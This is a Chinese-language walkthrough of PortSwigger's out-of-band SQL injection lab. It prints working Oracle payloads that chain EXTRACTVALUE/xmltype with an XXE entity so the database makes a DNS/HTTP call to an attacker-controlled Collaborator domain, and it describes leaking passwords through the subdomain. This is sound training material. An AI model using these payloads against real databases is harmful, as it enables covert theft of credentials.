# Web SQL injection Lab16
題目敘述可知這題是透過 SQL Injection 注入 payload,讓伺服器去幫我們對外發出請求(像是 DNS 查詢),我們就能知道注入成功。
利用 SQL injection 讓伺服器對 Burp Collaborator 提供的域名發出 DNS 查詢,成功即過關。
---
一樣先進入網站並攔截請求。


然後獲得專屬的 Collaborator 子網域。

```
a3esjojlhq36qemq18j1q6fl3c94xwll.oastify.com
```
接下來要發出 DNS 查詢,所以我們可以根據 Port swigger 給的資訊中,知道在不同資料庫中有不同的語法,所以我們依次嘗試,從 Oracle 開始。

```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```
放入我們的子網域:
```
'+UNION+SELECT+EXTRACTVALUE(xmltype('<!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://a3esjojlhq36qemq18j1q6fl3c94xwll.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
```

成功送出後,我們到 Collaborator 中點 Poll now,就可以看到我們剛剛的 DNS 查詢紀錄(灰色部分)。


:::success
### 這題在幹嘛?
想像場景:你住在一棟管制森嚴的大樓
你(駭客)站在大樓外面,想知道裡面某間房間的秘密(像是 administrator 的密碼),但——
- 大樓不讓你直接進去
- 也不會直接告訴你任何東西
但如果你偷偷塞了一張小紙條給櫃台(SQL injection),而那張紙條內容是:
「欸,請你打電話到我家(我控制的 DNS 伺服器),順便告訴我某某資訊。」
比如:
```
請撥打:0912-XXX-[密碼內容].我的家.com
```
在真實世界中就是你透過 SQL injection 傳遞了一段 payload,內容大概像是這樣:
```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://a3esjo123.oastify.com"> %remote;]>'), '/l') FROM dual;
```
這段指令會逼伺服器:
- 嘗試解析一段 XML
- 裡面有個「實體」指向你控制的 DNS 網域
結果伺服器就會偷偷地「打給你」:
`a3esjo123.oastify.com`
這就是所謂的 Out-of-Band 資料外洩(OOB exfiltration)
### Burp Collaborator 是什麼?
就像你家電話總機一樣,你可以在那邊聽電話(=收集 DNS 請求),如果你看到剛剛那通電話來了,就代表:
「耶,他真的幫我打了!」 → SQL 注入成功了
*進一步延伸
你還可以不只是打給 `a3esjo123.oastify.com`
而是:
```
http://[密碼字串].a3esjo123.oastify.com
```
就像說:
```
「你打給我時,順便告訴我密碼是什麼,我會看來電號碼裡的那一段~」
```
這樣你不用回應畫面、錯誤訊息,光靠 DNS 就能偷資料走人!
總結成一行生活化:
你用 SQL 注入塞了張小紙條,叫伺服器幫你偷偷打電話給你家報料,只要你接到電話,任務就成功啦 。
:::
---